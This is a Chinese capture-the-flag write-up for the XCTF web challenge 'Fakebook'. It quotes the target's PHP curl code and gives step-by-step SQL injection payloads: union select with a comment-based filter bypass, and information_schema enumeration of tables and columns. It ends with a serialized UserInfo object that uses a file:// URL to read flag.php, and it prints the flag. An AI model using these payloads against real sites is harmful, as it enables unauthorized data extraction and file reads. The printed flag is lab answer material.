攻防世界WEB练习-Fakebook
目录
题目场景
访问robots.txt
下载文件并查看
尝试进行注册
尝试SQL注入
猜测字段
查询数据库名
查询表名
查询段名
查看data数据
扫描目录
读取文件
查看源码
base64解码
提取flag
题目场景
访问robots.txt
下载文件并查看
name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init();//curl_init : 初始化一个cURL会话,供curl_setopt(), curl_exec()和curl_close() 函数使用。 curl_setopt($ch, CURLOPT_URL, $url);//curl_setopt : 请求一个url。其中CURLOPT_URL表示需要获取的URL地址,后面就是跟上了它的值。 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//CURLOPT_RETURNTRANSFER 将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。 $output = curl_exec($ch);//curl_exec,成功时返回 TRUE, 或者在失败时返回 FALSE。 然而,如果 CURLOPT_RETURNTRANSFER选项被设置,函数执行成功时会返回执行的结果,失败时返回 FALSE 。 $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404;//CURLINFO_HTTP_CODE :最后一个收到的HTTP代码。//curl_getinfo:以字符串形式返回它的值,因为设置了CURLINFO_HTTP_CODE,所以是返回的状态码。如果状态码不是404,就返回exec的结果。 } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);//正则匹配,在blog中要匹配到https:// }}
尝试进行注册
注册成功
发现username的1是蓝色的,可以弹出新的界面
根据url发现有一个?no=1,尝试进行sql注入
尝试SQL注入
尝试注入?no=1 and 1=1和?no=1 and 1=2
报错,存在sql注入
猜测字段
从?no=1 order by 1开始猜测
从?no=1 order by 5报错,所以有4个字段
查询数据库名
?no=1 union select 1,2,3,4-- -
发现存在拦截,尝试进行绕过
?no=-1 union all select 1,2,3,4-- -
?no=-1 union//select//1,2,3,4-- -
发现2是回显点
这时查询一下数据库名
?no=-1 union all select 1,database(),3,4-- -
查询表名
?no=-1 union all select 1,group_concat(table_name) ,3,4 from information_schema.tables where table_schema="fakebook"-- -
查询段名
?no=-1 union all select 1,group_concat(column_name) ,3,4 from information_schema.columns where table_name="users"-- -
?no=-1 union all select 1,group_concat(column_name) ,3,4 from information_schema.columns where table_schema="fakebook"-- -
查看data数据
?no=-1 union all select 1,group_concat(data) ,3,4 from users-- -
发现数据已经被序列化
扫描目录
发现var/www/html/flag.php文件
读取文件
采用构造file协议去读取/var/www/html/flag.php的内容
?no=-1 union all select 1,2 ,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'-- -
查看源码
base64解码
提取flag
flag = "flag{c1e552fdf77049fabf65168f22f7aeab}"